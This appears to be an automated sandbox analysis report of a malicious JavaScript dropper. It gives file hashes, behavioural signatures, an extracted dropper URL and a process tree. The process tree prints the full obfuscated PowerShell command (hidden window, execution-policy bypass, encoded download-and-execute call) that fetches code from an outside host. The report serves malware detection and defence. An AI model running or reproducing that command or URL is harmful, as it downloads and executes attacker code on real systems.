Analysis

  • max time kernel
    143s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/12/2023, 05:28

General

  • Target

    0800604e446e125494e1266be59ae3ca.js

  • Size

    94KB

  • MD5

    0800604e446e125494e1266be59ae3ca

  • SHA1

    bd4ff1cafd4beb9687f628a9d4cf3b6573b64b6c

  • SHA256

    8efe032913724817053c8a193d0d58cf3b49d1d6ae27f253ae0a4d38405c1d8b

  • SHA512

    721916e8189a424a67d2ddb216c9503db1fdf93584cef04bd25d3c4511b3b93c33beb3b5df8e186115d05ee2e29a1001040adb39fb05c1ed8ce174c4a548d46c

  • SSDEEP

    1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oS:59Ry98guHVBqqg2bcruzUHmLKeMMU7GU

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\0800604e446e125494e1266be59ae3ca.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2948
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2744

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ujhuw5uz.ego.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2744-1-0x000001EDEF5F0000-0x000001EDEF612000-memory.dmp

    Filesize

    136KB

  • memory/2744-11-0x00007FFFEB450000-0x00007FFFEBF11000-memory.dmp

    Filesize

    10.8MB

  • memory/2744-13-0x000001EDEF680000-0x000001EDEF690000-memory.dmp

    Filesize

    64KB

  • memory/2744-14-0x000001EDEF680000-0x000001EDEF690000-memory.dmp

    Filesize

    64KB

  • memory/2744-12-0x000001EDEF680000-0x000001EDEF690000-memory.dmp

    Filesize

    64KB

  • memory/2744-17-0x00007FFFEB450000-0x00007FFFEBF11000-memory.dmp

    Filesize

    10.8MB